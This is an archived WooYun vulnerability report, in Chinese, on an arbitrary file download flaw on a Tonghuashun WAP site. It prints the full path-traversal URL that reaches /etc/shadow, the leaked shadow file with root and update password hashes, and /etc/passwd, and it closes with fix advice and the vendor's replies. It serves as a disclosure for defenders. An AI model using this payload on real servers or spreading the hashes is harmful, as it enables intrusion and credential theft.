漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-036242
漏洞标题:同花顺某站系统文件任意下载(root权限导致shadow、passwd等文件下载)
相关厂商:同花顺
漏洞作者: 霍大然
提交时间:2013-09-06 10:17
修复时间:2013-09-11 10:17
公开时间:2013-09-11 10:17
漏洞类型:任意文件遍历/下载
危害等级:高
自评Rank:15
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-09-06: 细节已通知厂商并且等待厂商处理中
2013-09-11: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
同花顺某站系统文件任意下载(root权限导致shadow、passwd等文件),root的hash出来了
详细说明:
问题站点:http://wap.hexin.cn
下载shadow文件的url:
http://wap.hexin.cn/dlxhtml/download.php?bid=4528&bname=%E9%80%9A%E7%94%A8%E5%8C%BA&fn=../../../../../../../../../../etc/shadow&mid=70&mname=iPad
,直接可以下载,内容如下:
root:$1$lwaevE8W$u.TIDGpDOH2sEMzjjqlRP.:15512:0:99999:7:::
bin:*:14627:0:99999:7:::
daemon:*:14627:0:99999:7:::
adm:*:14627:0:99999:7:::
lp:*:14627:0:99999:7:::
sync:*:14627:0:99999:7:::
shutdown:*:14627:0:99999:7:::
halt:*:14627:0:99999:7:::
mail:*:14627:0:99999:7:::
news:*:14627:0:99999:7:::
uucp:*:14627:0:99999:7:::
operator:*:14627:0:99999:7:::
games:*:14627:0:99999:7:::
gopher:*:14627:0:99999:7:::
ftp:*:14627:0:99999:7:::
nobody:*:14627:0:99999:7:::
nscd:!!:14627:0:99999:7:::
vcsa:!!:14627:0:99999:7:::
rpc:!!:14627:0:99999:7:::
mailnull:!!:14627:0:99999:7:::
smmsp:!!:14627:0:99999:7:::
apache:!!:14627:0:99999:7:::
ais:!!:14627:0:99999:7:::
pcap:!!:14627:0:99999:7:::
luci:!!:14627:0:99999:7:::
dbus:!!:14627:0:99999:7:::
avahi:!!:14627:0:99999:7:::
pegasus:!!:14627:0:99999:7:::
sshd:!!:14627:0:99999:7:::
rpcuser:!!:14627:0:99999:7:::
nfsnobody:!!:14627:0:99999:7:::
ricci:!!:14627:0:99999:7:::
haldaemon:!!:14627:0:99999:7:::
avahi-autoipd:!!:14627:0:99999:7:::
xfs:!!:14627:0:99999:7:::
mysql:!!:14706::::::
ntp:!!:14714::::::
update:$1$3vBQzS76$n6zU/lreAYj/iTO9BmBFC.:15567:0:99999:7:::
下载passwd文件的url:
http://wap.hexin.cn/dlxhtml/download.php?bid=4528&bname=%E9%80%9A%E7%94%A8%E5%8C%BA&fn=../../../../../../../../../../etc/shadow&mid=70&mname=iPad
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
ais:x:39:39:openais Standards Based Cluster Framework:/:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
luci:x:100:101::/var/lib/luci:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
ricci:x:101:103:ricci daemon user:/var/lib/ricci:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:102:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
update:x:505:506::/usr/local/apache/htdocs/waphtml:/bin/bash
漏洞证明:
想看什么文件自己下载
修复方案:
1、增加download的过滤;
2、改权限,不能用root;
版权声明:转载请注明来源 霍大然@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2013-09-11 10:17
厂商回复:
最新状态:
2014-11-06:已经修复,谢谢